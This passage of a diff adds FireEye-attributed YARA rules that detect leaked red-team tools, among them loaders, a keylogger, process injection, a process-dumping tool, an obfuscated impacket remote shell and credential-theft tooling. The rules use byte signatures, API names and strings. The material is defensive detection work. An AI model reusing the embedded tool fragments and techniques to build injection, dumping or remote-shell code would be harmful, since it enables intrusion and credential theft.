?? 45 33 F6 85 C0 74 ?? 48 8B 44 24 68 48 89 44 24 74 C7 44 24 7? ?1 ?? ?? ?? C7 44 24 7C 02 ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B C8 4C 8D 44 24 48 41 8D 56 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 48 4C 8D 44 24 70 4C 89 74 24 28 45 33 C9 33 D2 4C 89 74 24 20 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 4C 24 48 FF ?? ?? ?? ?? ?? 48 89 9C 24 B? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 B4 24 B8 01 ?? ?? 4C 89 74 24 40 FF ?? ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 0F 1F 44 ?? ?? 48 8B 4C 24 40 4C 8D 45 80 41 ?? ?? ?? ?? ?? 33 D2 FF ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8D 4D 80 E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 5C 24 40 48 8B CB FF ?? ?? ?? ?? ?? 8B F0 48 85 DB 74 ?? 85 C0 74 ?? 4C 8D 4C 24 50 48 89 BC 24 C? ?1 ?? ?? BA ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 30 C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 33 C9 48 89 44 24 58 45 33 C0 C7 44 24 2? ?1 ?? ?? ?? BA ?? ?? ?? ?? 4C 89 74 24 60 FF ?? ?? ?? ?? ?? 48 8B F8 48 83 F8 FF 74 ?? 48 8B 4C 24 50 48 8D 44 24 58 48 89 44 24 30 41 B9 02 ?? ?? ?? 4C 89 74 24 28 4C 8B C7 8B D6 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 54 24 50 48 8B C8 FF ?? ?? ?? ?? ?? 33 C9 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B BC 24 C? ?1 ?? ?? 33 C0 48 8B B4 24 B8 01 ?? ?? 48 8B 9C 24 B? ?1 ?? ?? 48 8B 8D 9? ?? ?? ?0 48 33 CC E8 ?? ?? ?? ?? 4C 8B B4 24 C8 01 ?? ?? 48 81 C4 A? ?1 ?? ?? 5D C3 }
+        $bytes4 = { 4C 89 74 24 ?? 55 48 8D AC 24 ?? ?? ?? ?? 48 81 EC A0 01 00 00 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? BA 50 00 00 00 C7 05 ?? ?? ?? ?? 43 00 3A 00 66 89 15 ?? ?? 01 00 4C 8D 44 24 ?? 48 8D 15 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 5C 00 57 00 33 C9 C7 05 ?? ?? ?? ?? 69 00 6E 00 C7 05 ?? ?? ?? ?? 64 00 6F 00 C7 05 ?? ?? ?? ?? 77 00 73 00 C7 05 ?? ?? ?? ?? 5C 00 4D 00 C7 05 ?? ?? ?? ?? 45 00 4D 00 C7 05 ?? ?? ?? ?? 4F 00 52 00 C7 05 ?? ?? ?? ?? 59 00 2E 00 C7 05 ?? ?? ?? ?? 44 00 4D 00 C7 05 ?? ?? ?? ?? 53 00 65 00 C7 05 ?? ?? ?? ?? 44 00 65 00 C7 05 ?? ?? ?? ?? 42 00 75 00 C7 05 ?? ?? ?? ?? 47 00 50 00 C7 05 ?? ?? ?? ?? 72 00 69 00 C7 05 ?? ?? ?? ?? 56 00 69 00 C7 05 ?? ?? ?? ?? 4C 00 45 00 C7 05 ?? ?? ?? ?? 67 00 65 00 C7 05 ?? ?? ?? ?? 6C 73 61 73 C7 05 ?? ?? ?? ?? 73 2E 65 78 C6 05 ?? ?? ?? ?? 65 FF 15 ?? ?? ?? ?? 45 33 F6 85 C0 74 ?? 48 8B 44 24 ?? 48 89 44 24 ?? C7 44 24 ?? 01 00 00 00 C7 44 24 ?? 02 00 00 00 FF 15 ?? ?? ?? ?? 48 8B C8 4C 8D 44 24 ?? 41 8D 56 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? 4C 8D 44 24 ?? 4C 89 74 24 ?? 45 33 C9 33 D2 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D ?? 41 B8 04 01 00 00 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 ?? 66 0F 1F 44 00 ?? 48 8B 4C 24 ?? 4C 8D 45 ?? 41 B9 04 01 00 00 33 D2 FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 D2 48 8D 4D ?? 41 B8 04 01 00 00 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 8B F0 48 85 DB 74 ?? 85 C0 74 ?? 4C 8D 4C 24 ?? 48 89 BC 24 ?? ?? ?? ?? BA FD 03 00 AC 41 B8 1F 00 10 00 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 4C 89 74 24 ?? C7 44 24 ?? 80 00 00 00 48 8D 0D ?? ?? ?? ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 C7 44 24 ?? 01 00 00 00 BA 00 00 00 10 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 83 F8 FF 74 ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 48 89 44 24 ?? 41 B9 02 00 00 00 4C 89 74 24 ?? 4C 8B C7 8B D6 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8B C8 FF 15 ?? ?? ?? ?? 33 C9 FF 15 ?? ?? ?? ?? CC 48 8B CB FF 15 ?? ?? ?? ?? 48 8B BC 24 ?? ?? ?? ?? 33 C0 48 8B B4 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8B B4 24 ?? ?? ?? ?? 48 81 C4 A0 01 00 00 5D C3 }
+    condition:
+        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and any of ($bytes*)
+}
+rule Builder_MSIL_SharpGenerator_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharpGenerator' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "ab661cba-f695-59d2-9071-9b9a90233457"
+    strings:
+        $typelibguid0 = "3f450977-d796-4016-bb78-c9e91c6a0f08" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+/*
+rule APT_Trojan_Win_REDFLARE_6
+{
+    meta:
+        description = "Detects Redflare Trojan"
+        date = "2020-12-01"
+        modified = "2020-12-01"
+        md5 = "294b1e229c3b1efce29b162e7b3be0ab, 6902862bd81da402e7ac70856afbe6a2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+    strings:
+        $s1 = "RevertToSelf" fullword
+        $s2 = "Unsuccessful" fullword
+        $s3 = "Successful" fullword
+        $s4 = "runCommand" fullword
+        $s5 = "initialize" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+*/
+rule HackTool_Win64_AndrewSpecial_1
+{
+    meta:
+        description = "Detects AndrewSpecial process dumping tool"
+        date = "2020-11-25"
+        modified = "2020-11-25"
+        md5 = "4456e52f6f8543c3ba76cb25ea3e9bd2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "20ce4902-4eb3-5ecf-aa8c-0515965dde57"
+    strings:
+        $dump = { 33 D2 B9 FF FF 1F 00 FF 15 [10-90] 00 00 00 00 [2-6] 80 00 00 00 [2-6] 02 00 00 00 45 33 C9 45 33 C0 BA 00 00 00 10 48 8D 0D [4] FF 15 [4-120] 00 00 00 00 [2-6] 00 00 00 00 [2-6] 00 00 00 00 41 B9 02 00 00 00 [6-15] E8 [4-20] FF 15 }
+        $shellcode_x64 = { 4C 8B D1 B8 3C 00 00 00 0F 05 C3 }
+        $shellcode_x64_inline = { C6 44 24 ?? 4C C6 44 24 ?? 8B C6 44 24 ?? D1 C6 44 24 ?? B8 C6 44 24 ?? 3C C6 44 24 ?? 00 C6 44 24 ?? 00 C6 44 24 ?? 00 C6 44 24 ?? 0F C6 44 24 ?? 05 C6 44 24 ?? C3 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and $dump and any of ($shellcode*)
+}
+rule Loader_MSIL_Generic_1
+{
+    meta:
+        description = "Detects generic loader"
+        md5 = "b8415b4056c10c15da5bba4826a44ffd"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "f919e3fc-cf76-53af-8f04-24921830666f"
+    strings:
+        $MSIL = "_CorExeMain"
+        $opc1 = { 00 72 [4] 0A 72 [4] 0B 06 28 [4] 0C 12 03 FE 15 [4] 12 04 FE 15 [4] 07 14 }
+        $str1 = "DllImportAttribute"
+        $str2 = "FromBase64String"
+        $str3 = "ResumeThread"
+        $str4 = "OpenThread"
+        $str5 = "SuspendThread"
+        $str6 = "QueueUserAPC"
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and $MSIL and all of them
+}
+rule APT_Keylogger_Win32_REDFLARE_1
+{
+    meta:
+        description = "Detects REDFLARE Keylogger"
+        date = "2020-12-01"
+        modified = "2020-12-01"
+        md5 = "d7cfb9fbcf19ce881180f757aeec77dd"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "ad14db66-d640-5712-b2c8-a3d42d5a90f3"
+    strings:
+        $create_window = { 6A 00 68 [4] 6A 00 6A 00 68 00 00 00 80 68 00 00 00 80 68 00 00 00 80 68 00 00 00 80 68 00 00 CF 00 68 [4] 68 [4] 6A 00 FF 15 }
+        $keys_check = { 6A 14 [0-5] FF [1-5] 6A 10 [0-5] FF [1-5] B9 00 80 FF FF 66 85 C1 75 ?? 68 A0 00 00 00 FF [1-5] B9 00 80 FF FF 66 85 C1 75 ?? 68 A1 00 00 00 FF [1-5] B9 00 80 FF FF 66 85 C1 74 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and all of them
+}
+rule Loader_MSIL_InMemoryCompilation_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'In-MemoryCompilation' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "80234352-a449-5292-9f0c-beb7a1d39a6c"
+    strings:
+        $typelibguid0 = "524d2687-0042-4f93-b695-5579f3865205" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule HackTool_MSIL_WMISharp_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WMISharp' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "97b9d057-30d3-5af7-bac6-4dd53f47650f"
+    strings:
+        $typelibguid0 = "3a2421d9-c1aa-4fff-ad76-7fcb48ed4bff" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Loader_Win_PGF_2
+{
+    meta:
+        description = "PE rich header matches PGF backdoor"
+        md5 = "226b1ac427eb5a4dc2a00cc72c163214"
+        md5_2 = "2398ed2d5b830d226af26dedaf30f64a"
+        md5_3 = "24a7c99da9eef1c58f09cf09b9744d7b"
+        md5_4 = "aeb0e1d0e71ce2a08db9b1e5fb98e0aa"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "595c9e2a-3d9d-5366-9449-de1bcf333f78"
+    strings:
+        $rich1 = { A8 B7 17 3A EC D6 79 69 EC D6 79 69 EC D6 79 69 2F D9 24 69 E8 D6 79 69 E5 AE EC 69 EA D6 79 69 EC D6 78 69 A8 D6 79 69 E5 AE EA 69 EF D6 79 69 E5 AE FA 69 D0 D6 79 69 E5 AE EB 69 ED D6 79 69 E5 AE FD 69 E2 D6 79 69 CB 10 07 69 ED D6 79 69 E5 AE E8 69 ED D6 79 69 }
+        $rich2 = { C1 CF 75 A4 85 AE 1B F7 85 AE 1B F7 85 AE 1B F7 8C D6 88 F7 83 AE 1B F7 0D C9 1A F6 87 AE 1B F7 0D C9 1E F6 8F AE 1B F7 0D C9 1F F6 8F AE 1B F7 0D C9 18 F6 84 AE 1B F7 DE C6 1A F6 86 AE 1B F7 85 AE 1A F7 BF AE 1B F7 84 C3 12 F6 81 AE 1B F7 84 C3 E4 F7 84 AE 1B F7 84 C3 19 F6 84 AE 1B F7 }
+        $rich3 = { D6 60 82 B8 92 01 EC EB 92 01 EC EB 92 01 EC EB 9B 79 7F EB 94 01 EC EB 1A 66 ED EA 90 01 EC EB 1A 66 E9 EA 98 01 EC EB 1A 66 E8 EA 9A 01 EC EB 1A 66 EF EA 90 01 EC EB C9 69 ED EA 91 01 EC EB 92 01 ED EB AF 01 EC EB 93 6C E5 EA 96 01 EC EB 93 6C 13 EB 93 01 EC EB 93 6C EE EA 93 01 EC EB }
+        $rich4 = { 41 36 64 33 05 57 0A 60 05 57 0A 60 05 57 0A 60 73 CA 71 60 01 57 0A 60 0C 2F 9F 60 04 57 0A 60 0C 2F 89 60 3D 57 0A 60 0C 2F 8E 60 0A 57 0A 60 05 57 0B 60 4A 57 0A 60 0C 2F 99 60 06 57 0A 60 73 CA 67 60 04 57 0A 60 0C 2F 98 60 04 57 0A 60 0C 2F 80 60 04 57 0A 60 22 91 74 60 04 57 0A 60 0C 2F 9B 60 04 57 0A 60 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and filesize < 15MB and (($rich1 at 128) or ($rich2 at 128) or ($rich3 at 128) or ($rich4 at 128))
+}
+rule Trojan_Win_Generic_101
+{
+    meta:
+        description = "Detects FireEye Windows trojan"
+        date = "2020-11-25"
+        modified = "2020-11-25"
+        md5 = "2e67c62bd0307c04af469ee8dcb220f2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "0290aaea-d65b-5883-97f9-549d107e3e1f"
+    strings:
+        $s0 = { 2A [1-16] 17 [1-16] 02 04 00 00 [1-16] FF 15 }
+        $s1 = { 81 7? [1-3] 02 04 00 00 7? [1-3] 83 7? [1-3] 17 7? [1-3] 83 7? [1-3] 2A 7? }
+        $s2 = { FF 15 [4-16] FF D? [1-16] 3D [1-24] 89 [1-8] E8 [4-16] 89 [1-8] F3 A4 [1-24] E8 }
+        $si1 = "PeekMessageA" fullword
+        $si2 = "PostThreadMessageA" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and @s0[1] < @s1[1] and @s1[1] < @s2[1] and all of them
+}
+/*
+rule Trojan_Macro_RESUMEPLEASE_1
+{
+    meta:
+        description = "Detects FireEye's macro RESUMEPLEASE"
+        date = "2020-12-01"
+        modified = "2020-12-01"
+        md5 = "d5d3d23c8573d999f1c48d3e211b1066"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+    strings:
+        $str00 = "For Binary As"
+        $str01 = "Range.Text"
+        $str02 = "Environ("
+        $str03 = "CByte("
+        $str04 = ".SpawnInstance_"
+        $str05 = ".Create("
+    condition:
+        all of them
+}
+*/
+rule Loader_MSIL_CSharpSectionInjection_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'C_Sharp_SectionInjection' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "ca5bf5cd-1950-53ed-8984-e880a15e658e"
+    strings:
+        $typelibguid0 = "d77135da-0496-4b5c-9afe-e1590a4c136a" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_HackTool_MSIL_SHARPWEBCRAWLER_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpwebcrawler' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "29b2a410-bcc4-58df-b192-7a413b3db1c0"
+    strings:
+        $typelibguid0 = "cf27abf4-ef35-46cd-8d0c-756630c686f1" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule Trojan_Win64_Generic_22
+{
+    meta:
+        description = "Detects FireEye's Windows Trojan"
+        date = "2020-11-26"
+        modified = "2020-11-26"
+        md5 = "f7d9961463b5110a3d70ee2e97842ed3"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "e79661a8-5254-5e8e-b92b-edf1ddb072ff"
+    strings:
+        $api1 = "VirtualAllocEx" fullword
+        $api2 = "UpdateProcThreadAttribute" fullword
+        $api3 = "DuplicateTokenEx" fullword
+        $api4 = "CreateProcessAsUserA" fullword
+        $inject = { C7 44 24 20 40 00 00 00 33 D2 41 B9 00 30 00 00 41 B8 [4] 48 8B CB FF 15 [4] 48 8B F0 48 85 C0 74 ?? 4C 89 74 24 20 41 B9 [4] 4C 8D 05 [4] 48 8B D6 48 8B CB FF 15 [4] 85 C0 75 [5-10] 4C 8D 0C 3E 48 8D 44 24 ?? 48 89 44 24 30 44 89 74 24 28 4C 89 74 24 20 33 D2 41 B8 [4] 48 8B CB FF 15 }
+        $process = { 89 74 24 30 ?? 8D 4C 24 [2] 89 74 24 28 33 D2 41 B8 00 00 02 00 48 C7 44 24 20 08 00 00 00 48 8B CF FF 15 [4] 85 C0 0F 84 [4] 48 8B [2-3] 48 8D 45 ?? 48 89 44 24 50 4C 8D 05 [4] 48 8D 45 ?? 48 89 7D 08 48 89 44 24 48 45 33 C9 ?? 89 74 24 40 33 D2 ?? 89 74 24 38 C7 44 24 30 04 00 08 00 [0-1] 89 74 24 28 ?? 89 74 24 20 FF 15 }
+        $token = { FF 15 [4] 4C 8D 44 24 ?? BA 0A 00 00 00 48 8B C8 FF 15 [4] 85 C0 0F 84 [4] 48 8B 4C 24 ?? 48 8D [2-3] 41 B9 02 00 00 00 48 89 44 24 28 45 33 C0 C7 44 24 20 02 00 00 00 41 8D 51 09 FF 15 [4] 85 C0 0F 84 [4] 45 33 C0 4C 8D 4C 24 ?? 33 C9 41 8D 50 01 FF 15 }
+    condition:
+        ((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B)) and all of them
+}
+rule Loader_Win_Generic_19
+{
+    meta:
+        description = "Detects generic Windows loader"
+        date = "2020-12-02"
+        modified = "2020-12-02"
+        md5 = "3fb9341fb11eca439b50121c6f7c59c7"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "4f4427ee-0f7d-5442-98a6-402d8b797289"
+    strings:
+        $s0 = { 8B [1-16] 89 [1-16] E8 [4-32] F3 A4 [0-16] 89 [1-8] E8 }
+        $s1 = { 83 EC [1-16] 04 00 00 00 [1-24] 00 30 00 00 [1-24] FF 15 [4-16] EB [16-64] 20 00 00 00 [0-8] FF 15 [4-32] C7 44 24 ?? 00 00 00 00 [0-8] C7 44 24 ?? 00 00 00 00 [0-16] FF 15 }
+        $si1 = "VirtualProtect" fullword
+        $si2 = "malloc" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_Builder_PY_REDFLARE_1
+{
+    meta:
+        description = "Detects FireEye's Python Redflar"
+        date = "2020-11-27"
+        modified = "2020-11-27"
+        md5 = "d0a830403e56ebaa4bfbe87dbfdee44f"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "3b5ad25d-ce66-572e-9a91-40a73b8fd447"
+    strings:
+        $1 = "LOAD_OFFSET_32 = 0x612"
+        $2 = "LOAD_OFFSET_64 = 0x611"
+        $3 = "class RC4:"
+        $4 = "struct.pack('<Q' if is64b else '<L'"
+        $5 = "stagerConfig['comms']['config']"
+        $6 = "_x86.dll"
+        $7 = "_x64.dll"
+    condition:
+        all of them and @1[1] < @2[1] and @2[1] < @3[1] and @3[1] < @4[1] and @4[1] < @5[1]
+}
+rule HackTool_PY_ImpacketObfuscation_2
+{
+    meta:
+        description = "Detects FireEye's wmiexec impacket obfuscation"
+        date = "2020-12-01"
+        modified = "2020-12-01"
+        md5 = "f3dd8aa567a01098a8a610529d892485"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "f1059f66-eaff-5866-bafb-c94236cf96a0"
+    strings:
+        $s1 = "import random"
+        $s2 = "class WMIEXEC" nocase
+        $s3 = "class RemoteShell" nocase
+        $s4 = /=[\x09\x20]{0,32}str\(int\(time\.time\(\)\)[\x09\x20]{0,32}-[\x09\x20]{0,32}random\.randint\(\d{1,10}[\x09\x20]{0,32},[\x09\x20]{0,32}\d{1,10}\)\)[\x09\x20]{0,32}\+[\x09\x20]{0,32}str\(uuid\.uuid4\(\)\)\.split\([\x22\x27]\-[\x22\x27]\)\[0\]/
+        $s5 = /self\.__shell[\x09\x20]{0,32}=[\x09\x20]{0,32}[\x22\x27]cmd.exe[\x09\x20]{1,32}\/q[\x09\x20]{1,32}\/K [\x22\x27]/ nocase
+    condition:
+        all of them
+}
+rule APT_Loader_MSIL_PGF_2
+{
+    meta:
+        date = "2020-11-25"
+        modified = "2020-11-25"
+        description = "base.js, ./lib/payload/techniques/jscriptdotnet/jscriptdotnet_payload.py"
+        md5 = "7c2a06ceb29cdb25f24c06f2a8892fba"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "c5f2ec90-cd9b-53ce-893b-e44192fcd507"
+    strings:
+        $sb1 = { 2? 00 10 00 00 0A 1? 40 0? 72 [4] 0? 0? 28 [2] 00 0A 0? 03 28 [2] 00 0A 74 [2] 00 01 6F [2] 00 0A 03 1? 0? 74 [2] 00 01 28 [2] 00 0A 6? 0? 0? 28 [2] 00 06 D0 [2] 00 01 28 [2] 00 0A 1? 28 [2] 00 0A 79 [2] 00 01 71 [2] 00 01 13 ?? 0? 1? 11 ?? 0? 74 [2] 00 01 28 [2] 00 0A 28 [2] 00 0A 7E [2] 00 0A 13 ?? 1? 13 ?? 7E [2] 00 0A 13 ?? 03 28 [2] 00 0A 74 [2] 00 01 6F [2] 00 0A 03 1? 1? 11 ?? 11 ?? 1? 11 ?? 28 [2] 00 06 }
+        $ss1 = "\x00CreateThread\x00"
+        $ss2 = "\x00ScriptObjectStackTop\x00"
+        $ss3 = "\x00Microsoft.JScript\x00"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_HackTool_MSIL_SHARPSQLCLIENT_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpsqlclient' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "4d526c36-f56f-53cf-9bdf-b7a15619eb41"
+    strings:
+        $typelibguid0 = "13ed03cd-7430-410d-a069-cf377165fbfd" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule Methodology_OLE_CHARENCODING_2
+{
+    meta:
+        description = "Looking for suspicious char encoding"
+        md5 = "41b70737fa8dda75d5e95c82699c2e9b"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "7abd1a11-7a55-50ac-aa6b-537e7c59a5ab"
+    strings:
+        $echo1 = "101;99;104;111;32;111;102;102;" ascii wide
+        $echo2 = "101:99:104:111:32:111:102:102:" ascii wide
+        $echo3 = "101x99x104x111x32x111x102x102x" ascii wide
+        $pe1 = "77;90;144;" ascii wide
+        $pe2 = "77:90:144:" ascii wide
+        $pe3 = "77x90x144x" ascii wide
+        $pk1 = "80;75;3;4;" ascii wide
+        $pk2 = "80:75:3:4:" ascii wide
+        $pk3 = "80x75x3x4x" ascii wide
+    condition:
+        (uint32(0) == 0xe011cfd0) and filesize < 10MB and any of them
+}
+rule HackTool_MSIL_SharpHound_3
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SharpHound3 project."
+        md5 = "eeedc09570324767a3de8205f66a5295"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "456b3208-1e8d-5eb7-81ee-39f1c886c5a7"
+    strings:
+        $typelibguid1 = "A517A8DE-5834-411D-ABDA-2D0E1766539C" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $typelibguid1
+}
+rule CredTheft_MSIL_TitoSpecial_2
+{
+    meta:
